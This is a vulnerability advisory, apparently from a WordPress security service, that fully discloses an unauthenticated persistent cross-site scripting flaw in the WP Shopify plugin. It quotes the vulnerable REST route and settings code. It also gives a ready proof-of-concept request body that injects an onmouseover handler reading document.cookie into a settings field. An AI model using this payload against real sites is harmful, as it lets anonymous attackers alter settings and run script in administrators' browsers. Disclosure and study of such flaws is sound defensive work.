01 Aug

Settings Change to Persistent Cross-Site Scripting (XSS) Vulnerability in WP Shopify

Limiting information on vulnerabilities being fixed in WordPress plugins isn’t a great idea as we were reminded of this week when the discoverer of a vulnerability didn’t disclose it until after hackers had started more widely exploiting the vulnerability, leaving most everyone else in the dark about what was going on (customers of our service we were warned before the widespread hacking happened because we do the work to keep ahead of things). Another reason for providing information in a timely manner is that often vulnerabilities haven’t been fully fixed or there are more related vulnerabilities that haven’t been fixed. That is the case with the plugin WP Shopify where when went to look into the possibility that a vulnerability had been fixed we spotted what turned out to be related unfixed vulnerability before we even figured out what the vulnerability fixed was.

The additional vulnerability allows even those not logged in to WordPress to change the plugin’s settings and place malicious JavaScript code in to settings, which is referred to persistent cross-site scripting (XSS). Like an increasing number of vulnerabilities this one involves code that runs through WordPress REST API, which means it is something that would be caught if we had been hired to do a security review of the plugin.

The plugin registers the function update_settings(), which you can probably guess from the name, updates the plugin’s settings, to be accessible through WordPress REST API:

return register_rest_route(WPS_SHOPIFY_API_NAMESPACE, '/settings', [
	'methods' => \WP_REST_Server::CREATABLE,
	'callback' => [$this, 'update_settings']

Since that functionality is intended to be accessed by someone logged in to WordPress there should be a permission callback to restrict access in that registration. That would cause protection against CSRF to be run when trying to access the function as well.

The function, which is located in the file will then /classes/api/settings/class-general.php will update the settings based on user input sent with the request without any security checks first:

public function update_settings($request)
	$new_settings = [];
	$settings = $request->get_param('settings');
	$new_settings['enable_cart_terms'] = $this->setting_to_bool_int($settings, 'wps_settings_general_enable_cart_terms');
	$new_settings['cart_terms_content'] = $this->setting_to_terms($settings, 'wps_settings_general_cart_terms_content');
	$new_settings['enable_cart_notes'] = $this->setting_to_bool_int($settings, 'wps_settings_general_enable_cart_notes');
	$new_settings['cart_notes_placeholder'] = $this->setting_to_string($settings, 'wps_settings_general_cart_notes_placeholder');

The last setting shown in that snippet of the function is sanitized using another of the plugin’s function, setting_to_string(), which uses the WordPress function sanitize_text_field():

public function setting_to_string($settings, $name, $default = false)
	if (isset($settings[$name]) && !empty($settings[$name])) {
		return sanitize_text_field(Data::coerce($settings[$name], 'string'));

sanitize_text_field() doesn’t makes values safe for outputting in HTML attributes, which as the proof of concept below confirms, is where setting values like that one, are output without escaping them.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies to be shown when mousing over the “Products URL” settings input box.

Send a request to/wp-json/wpshopify/v1/settings with this as the body:

{"settings":{"wps_settings_general_products_url":"\" onmouseover=\"alert(document.cookie)","wps_settings_general_collections_url":"collections","wps_settings_general_num_posts":"10","wps_settings_general_products_link_to_shopify":false,"wps_settings_general_disable_default_pages":false,"wps_settings_general_show_breadcrumbs":false,"wps_settings_general_align_height":false,"wps_settings_general_hide_pagination":false,"wps_settings_general_styles_all":true,"wps_settings_general_styles_core":false,"wps_settings_general_styles_grid":false,"wps_settings_general_price_with_currency":false,"wps_settings_pricing_currency_display_style":"symbol","wps_settings_general_cart_loaded":true,"wps_settings_general_enable_beta":false,"wps_settings_general_enable_cart_terms":false,"wps_settings_general_cart_terms_content":false,"wps_settings_general_enable_cart_notes":false,"wps_settings_general_cart_notes_placeholder":false,"wps_settings_general_save_connection_only":false,"wps_settings_general_related_products_show":true,"wps_settings_general_related_products_sort":"random","wps_settings_general_related_products_amount":"4","wps_settings_general_items_per_request":250,"wps_settings_general_add_to_cart_color":"#14273b","wps_settings_general_variant_color":"#52a7a6","wps_settings_general_checkout_button_color":"#52a7a6","wps_settings_general_cart_icon_color":"#000","wps_settings_general_cart_counter_color":"#6ae06a","wps_settings_general_cart_icon_fixed_color":"#FFF","wps_settings_general_cart_counter_fixed_color":"#FFF","wps_settings_general_cart_fixed_background_color":"#52a7a6","wps_settings_general_products_heading_toggle":true,"wps_settings_general_products_heading":"Products","wps_settings_general_collections_heading_toggle":true,"wps_settings_general_collections_heading":"Collections","wps_settings_general_related_products_heading_toggle":false,"wps_settings_general_related_products_heading":false,"wps_settings_products_images_sizing_toggle":false,"wps_settings_products_images_sizing_width":"0","wps_settings_products_images_sizing_height":"0","wps_settings_products_images_sizing_crop":"center","wps_settings_products_images_sizing_scale":"false","wps_settings_products_thumbnail_images_sizing_toggle":true,"wps_settings_products_thumbnail_images_sizing_width":"70","wps_settings_products_thumbnail_images_sizing_height":"70","wps_settings_products_thumbnail_images_sizing_crop":"center","wps_settings_products_thumbnail_images_sizing_scale":"1","wps_settings_collections_images_sizing_toggle":false,"wps_settings_collections_images_sizing_width":"0","wps_settings_collections_images_sizing_height":"0","wps_settings_collections_images_sizing_crop":"center","wps_settings_collections_images_sizing_scale":"false","wps_settings_related_products_images_sizing_toggle":false,"wps_settings_related_products_images_sizing_width":false,"wps_settings_related_products_images_sizing_height":false,"wps_settings_related_products_images_sizing_crop":false,"wps_settings_related_products_images_sizing_scale":false,"wps_settings_products_compare_at":false,"wps_settings_checkout_enable_custom_checkout_domain":false,"wps_settings_products_show_price_range":true,"wps_settings_checkout_button_target":"_self","wps_settings_show_fixed_cart_tab":false,"wps_settings_synchronous_sync":false,"wps_settings_is_lite_sync":true,"wps_settings_is_syncing_posts":false}}

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.